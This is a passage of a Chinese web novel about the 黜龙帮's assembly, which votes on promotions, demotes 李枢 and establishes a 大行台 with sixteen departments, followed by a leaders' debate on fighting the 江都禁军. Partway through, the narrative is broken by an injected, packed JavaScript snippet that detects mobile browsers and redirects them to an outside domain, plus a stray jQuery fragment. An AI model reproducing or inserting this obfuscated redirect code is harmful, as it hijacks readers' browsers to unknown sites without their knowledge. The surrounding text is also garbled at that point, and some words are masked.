我们之所以要取黎阳仓,原因很简单,就是去年河北遭了灾,今年河北肯定短粮食,不打不是不行,但河北各处都会有饥荒。而咱们黜龙帮已经明白着告诉天下,我们是要黜‘天下擅利者’,而黜‘天下擅利’者,就是为了平天下之利,这样才能真正安定天下。可若要平天下之利,又怎么可能坐视河北百姓饥荒倒毙,而不把河北人自家膏血换来的粮食给送回去呢? 所以,这一战,大义在我们黜龙帮!至于曹林也好,白横秋也罢,虽是大宗师,却皆是可黜之贼!” 此言既罢,周遭轰然称好,但也有不少人如最里面的李枢、李定、高士通等人并无多少反应,中间的一些头领也有些不安,也有些敷衍。 唯独韩二郎在最外面,却觉得这话正说到自己心里面,几乎想喊出来,却平素习惯了沉默寡言,只是涨的脸红。倒是旁边有个面皮白净的光头,不顾周围几个光头拉扯,伸出一只手,在乱中放声来喊: “就是这样,就是这样!不然我白金刚如何弃了那些腌臜货,来了黜龙帮?!” 引得几个坐的近的头领诧异回头。 第十章风雨行(10) “首席以下,大头领以上,凡到场者,张行、李枢、魏玄定、李定、雄伯南、陈斌、单通海、窦立德、王叔勇、程知理、翟谦、柴孝和、伍惊风、牛达、徐师仁、贾越、芒金刚、高士通、李子达,合计十九人。 徐世英等头领至五十三人,加上大头领是七十二人。 按照上次在河南的计算,合计八十八人,算上现在临阵弃暗投明多出来的李龙头,去掉投降又没了踪迹的史怀名,还是八十八人,无论是总数,还是大头领的数量,都是合乎三分之二规矩的,大家可以点验……而且这里面还有件事要说清楚,那就是白总管跟登州的诸位大头领、头领是遭遇了风灾,被隔绝在东夷,算是敌后,按照帮规,也可以直接减掉,大家可以减去后再做点验,那就更不会坏了规矩的。” “就不该给淮右盟这般多位置……凭什么?”魏玄定刚刚报了个数,下面就有人私下吐槽起来。 “当日想的是并吞淮西,结果杜破阵自家都没那个本事守住地盘,声势倒是一直大……” “首席也看走眼了。” “不好说,若是没这个大度,莽金刚跟伍氏兄弟,还有李子达、徐开通这些人如何在这里坐?又如何引得十三金刚一起过来?” “也不知道给武安军多少個头领、大头领位置……” “魏公是不是修为上来了?真气用的这般好?” “……” 非只如此,更外围那里,北面援军留下的几人,还有一些武安军的军官们,他们在台子下面,只听到声音,看情形就差了些,也都窃窃私语,不过这些人的反应倒是直接——那就是意识到黜龙帮确实家大业大,人才辈出。 但这些外围的私下讨论没有耽误魏玄定对会议的主持,很快就来到了最核心的表决,下方也瞬间安静了下来: “大头领雄伯南议,头领史怀名叛帮,下落不明,悬赏追索……七十手; “此役,周行范头领此战突围在先,凿开通路,所向无前,立有殊勋,老夫以龙头身份提议,加周行范为大头领……请诸位大头领举手,过三十六手即可……六十七手,好,这一手也过了……周大头领在养伤,今日未至,就不加座了。” 前两个决议迅速过去,外围有些乱,大家没看清楚第二个议案是谁没举手,但内圈大头领那里却看的清楚,前后竟是只有李枢、李定没有举手……众人心知肚明,李定应该是要面子摆清高架子,他是临阵投降直接加的龙头,不好参与帮内这些事情,多少是个姿态;李枢就纯粹是心灰意冷了。 至于这几个晋升,张首席去了徐州一遭,大家也都知道是谁了,估计什么阻力都没有。 但还是有人惊异……听到第二次报数少了几人,台下的宇文万筹当即便抱怀来笑:“真有人不举手?!”…. 旁边武安军王臣愕愕然来问:“举手这规矩不是说黜龙帮从张首席身上学你们北地荡魔卫的吗?居然不同?” “我不知道,我不是正经荡魔卫的。”宇文万筹只嘿嘿一笑。 “看怎么说了?荡魔卫确实有这种类似的东西,却只是司命们一起说话时才有,也不是举手……”旁边黄平幽幽以对。 “举不举手无所谓,他就是举脚也行,关键是能不能举……有这个举手的道理,身份就重了一层,这头领当了还是有意思的。”宇文万筹正色道。 周围人都不说话……北面援军是走了三家的,一家是蓝璋,一家是陆大为,直接回去了,尉迟七郎是将部队直接摆到了赵郡,跟王臣廓对峙,一时赶不回来……这种情况下,宇文万筹愿意跟张首席的舅舅黄平一起留下,就显得有些“突出”了。 “下一个,刘黑榥此战穿插敌后,联络友军妥当,数次击敌之后,扯开包围一角,立下殊勋,大头领陈斌提议,加刘黑榥为大头领!” 魏玄定刚说完话,窦立德跟单通海便迫不及待齐齐举起手来,然后两人再度对视一眼,颇显暧昧,很显然,这两位又找到了一个联结点。 “五十七手,好,这一手也过了,请刘黑榥大头领入座。”魏玄定轻松来言。 早就按捺不住的刘黑榥忽的站起身来,左顾右盼,昂首挺胸,往里面走的时候,步子迈得那叫一个大,手几乎甩到两边人的脸上,堪称走出了一个虎虎生风。 这还不算,其人来到中间,也不着急落座,而是扭头团团拱手,而且周围颇有回应……这个时候大家才注意到,其人专门换了一身新衣服不算,额头上居然还系着一个红色绸缎绑带,甩在脑后上下晃动,端是一副英雄好汉模样,倒也配得上他的忠勇。 内圈诸位大头领,见状只是微笑。 外围的座中,夏侯宁远几人看到这么一个才入帮两年的河北混混居然有了眼下局面,几乎人各自气愤,却又无可奈何。 “现在是二十位大头领……”魏玄定稍作提醒。“下一个,徐世英以偏师为饵,引诱敌军,协助突围,后率师汇合大队,统揽指挥,窦立德大头领提议,当升为大头领……六十五手,徐大郎上前来吧。” 徐世英在众人略显敬畏的目光中站起身来,一声不吭转到内圈坐下。 不过,大家倒不是敬畏此人的影响力,而是对这位的“能上能下”感到佩服,真就面不改色?换成自己,丢了大头领又得了大头领,还能比刘黑榥的得意忘形差几分去? 这徐大郎真就是做大事的样子! 徐世英之后,谢鸣鹤、崔肃臣、元宝存等三位也没有太大波澜就转入了大头领序列……不过有意思的是,谢鸣鹤得到的支持格外多,跟周行范、徐世英无二,拿到了六十多手,而崔肃臣却差了许多,只是有四十多,连元宝存五十多手都比不过,只能说合乎规矩罢了。…. 究其原因,还是这个姓氏起到了反作用,以及他平素为人做事跟其他帮众比较远。 实际上,便是大头领那里,也有程知理、翟谦、牛达几人没有举手。 而就在众人以为黜龙帮内部赏罚体系中的大头领补录到此为止时,魏玄定却在圈内继续扬声宣告了一个意外的人事提议: “二十四位大头领了,下一个,曹夕曹头领自入帮以来,常督转运后勤、分配物资,殊无偏私,每每清扫战场、收拾城寨,任劳任怨,不计名利,首席提议,考虑到后勤事务日重,当加大头领,以备将来,以兹鼓励。” 下方完全骚动,内圈窦立德都有些懵,外圈曹夕也有些懵,后者作为帮内少有的女头领,如今白有思、马平儿都不在,只是坐在外圈都够显眼的了,遑论什么大头领? 但是,不知道是不是首席提议这四个字起了作用,还是曹夕素来有人缘,现场平静下来后,内圈单通海率先举手,然后点验人数,哪怕是窦立德避嫌没有举手,居然也有足足六十手赞同! 曹夕手足无措,但还是束手走入其中,坐在了一把新摆放的椅子上,却已经面红耳赤。 众人看到第二对夫妇一起出现在了黜龙帮的核心圈层,一时心情复杂。 台下的宇文万筹那些人干脆没了话,但震动最大的还是旁边几位武安军军官,他们敏锐意识到,自家那位主母和樊梨花,似乎要比许多人都稳当。 实际上,李定都有些诧异起来,忍不住看了张行几眼。 接下来,是黜龙帮内部赏罚下的头领们一层补录,到这一层,外面的武安军与北面援军就没了多余心思,可外圈的头领们反而更加诧异了……因为他们恍然发现,除了韩二郎、黄大郎、张世昭、张公慎、白金刚、庞金刚之外,居然没有秦宝,反而还有一个曹晨! 没有秦宝,还可以理解为秦宝刚来没有功勋,再打两仗任用更能服众,可曹晨呢? 而仔细一想,大家才想起来,曹晨居然跟之前临阵署任了大头领谢鸣鹤一样,都是早就实际上担任了头领该领的职责,领了一营轻骑,现在只是补入,这种补入理论上只要不犯错,比升迁更稳当……只能说,得亏窦小娘年纪还小,没有直接升上来,但……但窦小娘这勤勤恳恳的样子,而且已经以舵主身份领一整队巡骑了,升头领怕是迟早的吧? 可这样的话,这一家过于显赫了吧? 一家两大两小四头领! 心情复杂,也就直接影响到了举手: 韩二郎的赞同手最高,居然是六十八手;黄大郎、庞金刚一个六十二一个六十一手;帮外出身的白金刚差了点,五十五手;张世昭虽然被告知是当日南衙相公,是老早入帮的人,还有最后外交谈判撵走白横秋的现实功勋,却无疑被打上了张首席派遣在李枢身侧间谍的身份标签,也有五十手;唯独曹晨最是莫名其妙,居然只有四十二手,差点没过。…. 补录之后,有人开始心中计算,然后便来趁着头领们入座的空档交头接耳。 “只这里共八十人,却二十五个大头领,大头领是不是多了?”问话的是关许,而他询问的对象是在他侧后方的周为式,两人都是在东郡投降的,原本就是上下级,关许去魏玄定麾下领兵后也没耽误俩人关系。 “龙头也要多了。”不待周为式开口,旁边的杜才干便幽幽叹道。 “有什么讲究吗?”虽然不愿意跟这位扯什么关系,但既然开口,关许无奈,也只能硬着头皮请教。 “地盘大了,南北又多了五六个郡,还能有什么?非要说什么,这样的话,首席和马上要立的大行台就更贵重了。”杜才干明显心情复杂。 “这倒也是。”关许赶紧敷衍。 “我估计就是为了大行台做准备……大行台里面的几个要害的部,总得是大头领吧?”周为式忽然插嘴。“南衙那里不也经常有六部尚书、侍郎跳进去吗?” 关许登时醒悟:“就是这个了!” 不过,现在还没到说这个的份上,因为接下来还有一个大家最关心的流程——李枢。 “下一件事情。”魏玄定拿过一张纸来,努力使用真气,却又言简意赅。“龙头李枢领济阴行台总指挥战中领军南下徐州,大头领领军法总管雄伯南以临阵脱逃提议,罢免李枢一切职务,降为舵主安置,其余不问……” 下面立即鸦雀无声。 “大头领领聊城行台副指挥柴孝和以临阵脱逃提议,罢免一切职务,开除出帮,其余不问; “大头领领文书总管兼将陵行台副指挥大头领陈斌以临阵叛逃提议,处死勿论,并罢房彦朗、房彦释、崔玄臣三人头领,另做安置; “张首席提议,以临阵脱逃,罢龙头、总指挥,降为头领任用,其余不问…… “这件事情事关重大,大头领们提出的建议就这四个,我的意思是大家先做思索,定好主意,然后分批举手,哪个得手最多,就按照哪个处置,而且谁都要举手,不能不做理会,这样才算公平……如果有人觉得这样不好,有新主意,也可以趁机来说。” 说完之后,并没有之前那种中间一说话,四下轰然的场面,周遭反而格外冷静,便是李枢自己虽然脸色难看,却也只是坐在那里神思飘忽,只是听到“处死勿论”后,脸色有些青灰色罢了。 唯一产生骚动的,正是一些还没入局的人,比如说宇文万筹跟黄平,还有武安军的那些人……真不是这些人多么关心这件事情,恰恰相反,他们事不关己,才有了一点讨论余地。 “这种事也真举手?”依着宇文万筹的性情,这次居然也压低了声音。 “居然只有一家想着株连,还只株连了三人……”王臣愕也是愕然。…. 但没人理会他们。 过了一会,台上开始渐渐响起细密的讨论声,然后越来越大,甚至出现了争论。 这是当然的,首先,如何处置李枢确实争论比较大;其次,李枢是龙头,是济阴行台总指挥,是一开始黜龙帮建帮时就存在的两大山头之一,即便是崩了,那也影响力巨大;最后,正是宇文万筹吐槽的那般,是所有人都没想到,这种事情真让大家一起决断。 但并没有人提出新的方案,也没有人质疑这个方式,李枢自己都没说话,二房一崔也没有开口……因为这确实是个最公平的方略了,即便是留存李枢的几个方案似乎分了票,可张行本人也通过提案明确表态不**,而且雄伯南的方案摆在第一位也有了牵扯中立票的作用,没什么好说的。 过了好一阵子,一阵云彩都飘过去了,也听不到平息,魏玄定无奈做了提醒,再过一刻钟就举手。 然后不用一刻钟,气氛就开始重新凝固起来。 “同意雄天王提议的举手……降为舵主,其余不问……三十三手! “同意柴副指挥提议的举手……开除出帮,其余不问……一十六手!” 话到这里,下面许多人都已经松了口气,李枢也从青灰色的面孔转回到了淡黄色,因为结果实际上已经出来了,但魏玄定还是在向张行征求了意见后继续了下去。 “同意陈总管提议的举手……处死,追责三人……二十三手!” 同意处死的意外的多,而且不只是陈斌,李定居然也再必须举手的提示下选择在这里第一次举了手,贾越、牛达、高士通、李子达、谢鸣鹤也都举了手……这要是直接在大头领内部举手,李枢真就要**。 “同意张首席提议的举手……降为头领,其余不问……七手……结果出来了。”魏玄定也有些神色复杂,其人顿了顿,也没有追究李枢本人没举手的事情,便扬声宣告。“罢免李枢一切职务,降为舵主,别处安置。” 李枢猛地站起身来,晃了一晃,然后立定,团团拱手,却又对准了张行:“张首席,今日之恩,绝不忘怀!” 然后不待张行起身回礼,此人便径直离去,乃是在在场所有人复杂的目光中昂然而去,倒是多少显露出了关陇贵种的几分风采。 人一走,现场的气氛也缓和了不少。 李定及武安军、洪长涯及晋北军,还有黄平、宇文万筹等北地援军的方案也顺利通过。 跟传闻的一样,李定以龙头身份在武安郡建立行台,称总指挥,领武安郡、襄国郡,同时允许他联结冯无佚向北,攻略赵郡,下辖五个营,有一个大头领、六个头领名额,却只报了王臣愕和苏靖方两个在场的;而洪长涯类似,加龙头,称总指挥,领晋北三郡,也有一个大头领、六个头领名额,但大头领直接给了此次来援的尉迟七郎,而且暂时不编营。…. 黄平、宇文万筹更只是两人,不成体系,一个大头领,一个头领,也是轻松通过。 然后,在场四人各自上台寻了个座位,却说好的不举手。 而这三家顺利通过的原因在于两点,一点是武安军确实临阵倒戈有大功,晋北和北地的援军也是救命的功劳;另一点则是,这三家大部分大头领、头领都只是给名额,而且全是暂署,要等年底,或者下一次大会再做通过,正式入列。 这一次,除了一个李定象征性的坐上去外,其余人暂时没有举手权的。 对于这个安排,双方意外的都比较认可。 黜龙帮这里的头领们不敢想象刚刚决定李枢生死时,居然要新来的外人举手;而无论是最近的武安军,还是北地来的人都明显还是有顾虑,前者担忧被吞并,后者顾虑荡魔卫……所以,这种模糊有时候是有好处的。 不过到此为止,会议还没有结束,因为人事不只是谁当得大头领、头领,谁不再做龙头这种东西,还有人事架构和差遣呢。 果然,片刻之后,便有文书们过来将抄录好的纸张分发下去,大头领们人手一份还好,头领们却只来得及两人一份共阅,显然是上午临时抄录,不敢放开,以防流出。 而魏玄定也重新站了起来,拿起一张纸,扬声来言: “诸位,首席议,建立大行台,暂驻黎阳,总揽全局,统一指挥各个行台与全局军务,其中张首席本人担任总指挥,下设十六部,分别为文书部、王翼(参谋)部、军法部、军务部、刑律部、屯田部、仓储后勤部、户部、蒙基部、外事部、水利道路部、内务部、军情部、军械战马部、玄道部、卫疫部。” 话到这里,便全然安静下来,有人低头看,有人看不大懂的便抬头认真听,而听到这里,几乎所有人都涌上了一个念头,果然来了! 随即,却又有些振奋、疑惑和紧张起来。 振奋是因为这么多分部,而且许多分部明显跟朝廷有对照,终于像个正经朝廷了;而疑惑是其中颇有些部让人不明所以,还有些让人觉得小题大做不至于,而紧张是因为他们看的慢,一眼不能将所有任命看清楚,不知道自己还有跟自己有关碍的人是否在其中,又是什么权责? 魏玄定没有理会下面的这些情绪,只是继续自顾自念了出来:“各部以大头领为管时称总管,头领为管时称分管,通过头领身份但还没有过预期的成为代分管或者代总管。 “其中,文书部总揽地方文书,兼做地方官吏考勤,以大头领陈斌为总管,兼领副总指挥; “王翼部做军务辅佐谋划,头领马围为分管; “军法部监督各营兵马,兼做军官、准备将、士卒军功计量,大头领雄伯南为总管,兼领副总指挥;…. “军务部管调度各营各处兵马,统一指挥出兵,大头领徐世英为总管……兼领副总指挥; “刑律部修补新律,推行新律,监察民间刑诉,大头领崔肃臣为总管; “屯田部继续都督原十余万屯田兵各处屯田事宜,相关律法人事归于军法部,黄大郎为分管; “仓储后勤部管理各处地方仓储,多余官舍,弃业私舍、商铺,分发俸禄住宅奖赏,曹夕为总管; “户部专职授田、均田,点验民籍军籍商籍,收拢田赋商税,点验军役劳役,邴元正为分管; “蒙基部,专管各处少年孩童筑基、开蒙,同时设立各处学校,鼓励继续修行、学习……同时负责科考,公开选授官吏、军士,张世昭为分管; “外事部,负责各路义军、诸侯联络商议,宣战议和劝降内应等事,谢鸣鹤为总管; “水利道路部,整修水利,修缮官道官舍码头,协助监督军队、民夫运输,冯端为分管; “内务部,监察地方,防范间谍渗入,**小股流窜盗匪、乱军,预防叛乱,张金树为分管; “军械战马部,整修锻造军器军械军衣军中杂货,饲养购买战马、驮兽,张公慎为分管; “玄道部,联络鼓励三一正教、四御正道,管理各处道观人员、产业,白金刚为分管; “卫疫部,整备药材,组织医士、道人,治疗伤患、埋葬死者,防范病疫,庞金刚为分管。” 念完之后,魏玄定环顾四面,正色提醒表情不一的众人:“诸位,先仔细看清楚,可有哪里不妥,若有顾虑,现在可以寻自己同行台的大头领来说。而且这个名单并不是固定的,有不少任命是临时的,而且不少人是有兼任的,一打起来,一做起来,很可能便有变动,驻地也是……而若是没有顾虑,还是一刻钟后,大家就来举手!任命后,诸位总管、分管就要立即分担做事的!” 随着魏玄定坐下,场面居然跟之前李枢那次表决一样严肃,争论很多,但居然没有失去秩序。 但是又不一样,因为李枢那一次是随着时间流逝争论越来越大,这一次,却是很快就平息了下来,很显然,肯定是有一些分部的设立和任命是令人不满的,可面对这么大一个提案决议,尤其是张首席亲自提的决意,却也没有几个人真的能鼓起勇气来作新的表述。 徐世英目光从周边许多人身上扫过,对此心知肚明。 没办法,经历了建帮、突袭东都车队、历山血战、收编登州义军、北上渡河、建台河北,包括去年的黎阳开仓与今春的突围,张首席的威信已经到了一定份上,没有人再怀疑这位的权威和地位了。 尤其是李枢也没了,自己这样的刺头也终于服软了,那还有谁呢? 李定吗? 半推半就,不还是整个被吞了吗?当然,也跟他李四无能有关,区区将才、帅才,就以为可以做皇帝,或者说当那个头?不像自己,自家老早便意识到,不要想着当头,太难当了,藏在身后才是最妥的。…. 不过怎么说呢?到底尝试过。 窦立德吗? 徐大郎目光落在了这个眼下帮内崛起来最大山头的首领身上,却心中冷笑……对方现在怕是患得患失,想着自己的龙头位置到底稳不稳呢? 这个人,怎么说呢?微微可惜了,因为他最擅长的就是拉拢人心,可人家张首席最擅长的也是这个,而且手段更高明! 实际上,看看这个大会上的大头领、头领们就知道了,这所有的一切就是张行拉拢出来的山头,这个山头甚至溢出了黜龙帮!窦立德再怎么起山头,都只是群山中的一峰。 至于说单通海? 徐大郎看了眼单通海,却没有什么多余作想,因为他都不知道该怎么评价这个打小认识的兄弟……这厮表面上是张首席的最大反对派,却总在最关键的地方维护着张首席。 但自己好像也没自己资格说什么……谁跳出了张三哥的手掌心呢? 自己为什么要说跳出手掌心?这是什么典故吗? 哦,是因为张三哥将整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167964|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个黜龙帮都握在掌心,而其余所有英雄豪杰都脱不开这个帮会的志向、道义、体制、前途以及现实的荣耀与利益吗? 或许,便是张三哥还是有些幼稚,但还真有可能成大事。 “诸位头领,既然大家都不说话,距离一刻钟还有些时候,借此机会我便来多说几句话。”正想着呢,那边张行张大首席忽然重新站起身来,然后环顾四面,却是打破这种僵局。“首先要给认个错,我之前对咱们黜龙帮的前景,一直有个念头,那就是取下一整片地方,安安心心打几年粮食,练几年兵,给几茬孩子全都开了蒙、筑了基,熬到他们十**岁可以上阵了,然后天下之事就可以从容为之……三年前来河北,其实就有这个意思,现在也没变,还是想取下整个河北做根基。但从这次白横秋突袭开始,却又晓得一个道理,那就是这种乱世,指望着人家给你个安稳路数是不可能的……你们看,白横秋刚走,南面江都就兵变了,一旦兵变,江都禁军必然北上,马上南面又要打大仗……大家都安静!” 原本因为“打大仗”刚刚骚动起来的场面瞬间安静下来。 “江都禁军这一遭肯定要来的,但我们又不能只想着应对眼前的麻烦,不去做长远计划,更不能只想着打仗,不想着做内政上的事情…… “大家想想就知道了,我们之前用的甲胄、军械,其实就是吃大魏登州仓储的老本,这次开仓救济饥荒的粮食,也是从大魏洛口、黎阳两仓储里取出来的。可是从去年开始,咱们有些精密军械就坏掉不好修了,今年这一战后缺口肯定更大。那敢问军械如此,粮食如何呢?那些陈粮能吃几年? “更不要说,我们黜龙帮是要安定天下的,安定天下,就要执行好的律法,要有好的选官任官的制度,要清理无能之辈、处罚贪腐之辈。”…. 话到这里,张行语气明显加重。 “所以,我们要改变思路,要所有事情一起搞,军务最严肃,马上大头领们要举行小会说江都禁军的事情;可也不能因为要打临时的仗就放弃咱们自家原本的战略,更不能放弃建设内政来养精蓄锐,哪怕只有见缝插针的机会,也要见缝插针的做事情……现在这个提议,设置大行台,本质上就是为了不担心这些事情,我希望大家也要认真对待,举它一手。 “既然请了你们举手,那么里面的一些设置原委和建部后的思路,还有一些相关的决意,我也要说清楚,让你们心里有些底…… “比如说外事这里,往后我们拿什么原则来劝降? “我知道,帮内现在有河北跟河南两大派,却处的还算可以,因为我们现在的地盘都是东齐故地,原本就是有联络的,只跟关陇势不两立;而且我也承认,往后我们要对付的敌人,恰好也都是正经关陇大族做的领头人;非只如此,我还得承认,关陇世族相互勾连了快百年,早就结成一体。 “但越是如此,我们就越要站稳脚跟,拿好立场,帮里河北河南人多,那是我们在这地方起的家,却不代表我们就是要给东齐复国,我们是黜龙帮,我们有自己的志向,我们决定一个人是不是可以做我们的同列,入我们的帮,只看他的作为对不对,跟我们是不是有同一个志向,能不能对我们的事业有帮助?除此无论。” 众人不免看向了李定,李定也终于没了今日淡漠的表情,略显生动起来,却不知道在想什么。 “还有筑基开蒙的事情,很多人都觉得那是我个人之私政,恰恰相反,我今日明白的告诉大家,那是最公的政略,因为这个东西往上走,就是选官任官的公正之所在……我们许多人为什么**,为什么嫌恶关陇,就是因为他们在选官任官上不公平,关陇人好像天生高我们三等一般……那么公平的选官任官是什么呢?抛开后续的功勋认定,我认为一开始的时候就是唯才是举,具体来说一个是看修为的高低,另一个就看学问的高低。而修为看高低,你得有修为,所以要筑基;学问看高低,一来得开蒙,二来的公平考试……大魏先帝发明的科举就很好,将来我们也要用。 “还有道路水利的修整,为什么坚持均田授田?为什么没制定新律法前就废弃官奴,减少私奴,制定新律法后更是公开废奴奴,以至于大头领和头领因为军功分了几百亩田都不能自家耕,还要租出去……其实道理跟筑基开蒙是一样的,就是一个字,公! “黜龙帮为什么叫黜龙帮,因为龙是擅天下之利者,那么黜龙就是要平天下之利,就是要公! “为什么要剪除暴魏,因为暴魏之前就是天下至不公的所在,肆意将上百万人给累死只为一人或几个贵种的享用,擅天下之利,无过于此!…. “为什么要安定天下,怎么安定天下?不是简单的打下天下换我们来擅天下之利……物不平则鸣,人不公则起,只有尽量去维系公正,天下才可以安定!如果不公,总会有英雄豪杰起来的,所以天下才乱了这么久不得安定。 “这些话,这层意思,我曾在红山跟许多人说过,但是没有跟自家兄弟讲清楚,这是我的不对,我今天专门要说出来,希望大家心里有些计较,明白该怎么做事!” 一气说了许多,张行方才坐下,朝魏玄定点点头。 后者起身,示意大家举手。 “七十九手,全手过!”片刻后,扫视了好几圈的魏玄定松了一口气,然后换了一张纸,稍一顿,便继续来念。“首席议,撤南阳总管部,淮西行台转为徐州行台,龙头杜破阵为总指挥,大头领辅伯石为副指挥,出头领寿金刚,其余不变。” 刚刚经历了一次这么重要决议的众人差点趔趄,但考虑到张首席这装模作样的习惯,也还是纷纷举了手。 “七十五手,过。”魏玄定继续来念。“首席议,撤聊城行台,置行台于济北郡平阴,辖济北、齐、鲁三郡,加柴孝和为龙头,领总指挥,大头领徐师仁为副指挥,原辖十营兵,出正将牛达、郎将徐开道两营,改为八营,其余不变……七十七手,手过。” 这个改变属于意料之中,众人晓得,魏玄定这种到头的,这次又有功无过,必然有新任命,但柴孝和上位,虽然理所当然,但似乎也印证了某种流言。 “首席议,济阴行台因龙头李枢出缺,拟大头领单通海加龙头,为济阴行台指挥,统揽军政,除原三郡外,加荥阳郡,仍督南路梁郡与淮阳郡,原辖十二营,出伍惊风一营、房彦释一营,许以李枢招募新兵新设两营,以寿金刚、白金刚为将,依旧十二营,原东平太守出缺,杨得方调任,其余不变……七十六手,过。” 单通海是李枢滚蛋后最大的得利者,大家早有预料,稍微值得注意的是,这种军务设置,明显是要为打仗做准备的。 “首席议,将陵行台依旧辖三郡不变,首席转大行台,加大头领窦立德为龙头,总揽军政,大头领高士通为副指挥,出王叔勇、翟谦、贾越、李子达四正将,另徐世英、张善相、夏侯宁远、周行范、王雄诞、刘黑榥、冯端、郭敬恪、鲁明月九郎将,合计十三营,保留剩余七营,另加头领贾闰士,新设一营,合计八营……其余行台内分管另议……六十六手,过。” 窦立德听到第一句话未免心中松了口气,听到保留八营编制也无话可说,唯独听到只有六十六手却稍微警惕起来,他哪里不晓得是自家提升太快,而且全家都起来了,偏偏河北人又来得晚一些,被帮内河南老底子给记上了呢?…. 但他也不怕,既要做事,又有了机会,如何会在意这些? “首席议,合魏郡、汲郡、武阳郡,及河内半郡,设新行台于邺城,以龙头魏玄定为行台指挥,统揽军政;以大头领元宝存为副指挥,以元宝存、伍惊风为正将,房彦释、张善相、夏侯宁远、郭敬恪、徐开道、庞金刚为郎将,设八营;魏玄定兼任魏郡太守,元宝存兼任武阳郡太守,范定兴为汲郡太守……其余行台内分管另议……七十五手,过。” 完全的新地盘,新行台,魏玄定这个人选……也肯定没什么,只是有少部分人想起来帮内这位魏公当年是元宝存元公的幕僚,倒是完全转了个个……但也没什么,君不见魏玄定自己都口干舌燥,丝毫不停吗? 唯一的关键在于这里的兵马理论上是属于邺城行台,实际上肯定是直属大行台的,所以,大行台直属兵力是多少,会不会扩军? “首席议,以大头领程知理出登州代总管,将陵行台、平阴行台协助,安抚登州,防备东夷,兼寻登州各部下落,必要时设立四营防务兵。” 众人各自一愣,但旋即醒悟,差点忘了此事。 程知理本人却是长呼了一口气,不管如何,自己到底重新站直了身子的……也是那位白三娘给机会,这个局面下,想要安抚登州除了自己还能有谁? “七十一手,过。”魏玄定已经口干舌燥,却还是努力来念。“首席议,以徐世英、王叔勇、贾越、翟谦、芒金刚、周行范、李子达、刘黑榥为正将,韩二郎、张公慎、曹晨、冯端、王雄诞、鲁明月为郎将,并以雄伯南、柳周臣设两营军法营,张金树、吕常衡、张亮设三营巡骑,首席亲领准备将一营,合计二十营,直属大行台,北面各处援军在时,亦直属大行台……七十八手,过!” 这个时候,说是没过去太久,但已经太阳西沉。 于是张行站起身来,立即提醒:“诸位,淮西我们现在够不到,其余六十一营,尤其是战兵五十六营,必须要尽快补充、休整完毕,但今日大家不用回,明日再走,现在其余人都先回城,大头领以上与行台各部分管留下,我们一起商议如何应对江都军务……大家或许今晚还能得到军令。” 众人不敢犹豫,而且不知道是因为李枢之事过于严肃,还是今日过于仓促,居然没有人学之前开会时那般领着大家发一声喊什么的,乃是头领各自起身拱手,朝中间的首席、龙头、大头领们拱手,张行以下,内圈众人也匆匆拱手回礼。 不过片刻,台上便已经只剩下二十几名大头领、龙头和几名行台分管了,外面也只是许多文书、参军辅佐。 众人屏气凝神,静待今日正式登上帮内权力、威望最高峰,似乎黜龙帮势力也达到最高峰状态下的张首席开口。 “我觉得这一仗能不打还是不打。”然而,刚刚还对头领们苦口婆心、说了一千字都还志气昂扬要坚持**的张大首席在西面太阳映照下等了许久,甫一开口,便弄得大家有些气馁。“因为打了很可能白打,还不一定打得赢。”39314202. ... 第十一章风雨行(11) 张首席上来就说丧气话,搞得大家都没反应过来,反应过来后又不知道从何处来劝。 过了一阵子,居然是李定蹙眉来对:“白打是什么意思?是怕伤亡多了得不偿失?!” “它就没有得。”张行摊手以对。“把禁军灭了能有什么用?” “能涨威风。”李定正色道。“覆灭禁军,足以震慑天下,尽取淮水以北,甚至包括淮南,乃至于江南。而包括河北薛常雄、东都司马正在内,甚至关西白横秋,天下诸侯其实多是禁军出身,晓得那支兵马厉害,一旦击破这支禁军,他们也会胆寒。反过来说,从此黜龙军对上任何一支兵马,心里也就有了底气……除此之外,还可以收降部分精锐,黜龙帮这边战兵营五十六个,补员完毕,便是十多万人,収降个两三万,完全控制得住。” 场上一时沉默,却不知道是不适应跟李定做讨论,还是被李定的言论给震住了。 “哪里这么轻松?都说了,未必打的赢,确实是怕伤亡多了得不偿失。”过了片刻,还是张行来反驳。“我从徐州回来就一直在算,跟我们比,他们顶尖战力可能相当,但中高层和下层战力,都是他们强!而且他们是归师,再混账的玩意,想着回家,都会拼命的。” “可便是你不想打,他们一路烧杀劫掠,冲入梁郡、济阴、东郡、荥阳,你们又如何?坐视他们将你们最早的根据之地给吃了?将洛口仓夺走?”李定继续补充。 “洛口仓的东西可以仿效黎阳仓这里,完全发下去,黎阳仓的剩余陈粮也可以继续转运到后方分散安置。”张行平静答道。“也算是坚壁清野了。” “自欺……”李定嗤之以鼻。 “关键是东都,前提也是东都。”谢鸣鹤忽然插嘴。“无论如何,必须要摸清楚东都的动向……” “不错,要是司马正与禁军呼应起来,那可真是**烦,到时候要么分兵,要么就要冒被他们决战夹击的风险……看司马正夺东都,还有之前策反我们琅琊郡就知道,这人打起仗来可不糊涂,而且有决断,敢赌;禁军那里也不缺打了一辈子仗的人,如今又为了回家,也不会耽误事。”雄伯南也早早面露难色。 “这里面还有个难处。”徐世英也接过话来。“那就是东都如何,我们肯定要试探,可不管试探出什么结果,都要做好战备;而且要考虑时间差,往东都试探的同时,我们马上立即就要做准备……毕竟,主要对付的,总还是江都禁军。” “这是实话。”李定微微一笑。“无论如何都要做好打仗准备,打不打、如何打是另外一回事。” “那不管如何还是要去东都走一遭。”谢鸣鹤下了定论,也是给自己交代了任务。“我走一趟,弄清楚司马正的底细和态度。”…. 众人看向张行,后者却没有吭声,也不知道在想什么。 “去东都是必然,可从这個议论来看,现在最主要的是整编部队,恢复战力。”窦立德见状,顺势转开。“春夏之交,又有仓储陈粮,粮草应该没问题够,可兵员、军械怎么说?” “军械足够。”陈斌眯着眼睛开口。“武阳郡那里有些多余的,东都军溃散的时候遗留下来也有许多,还有战场那边,黎阳仓和洛口仓里也有一些可用于军械上的杂货。” 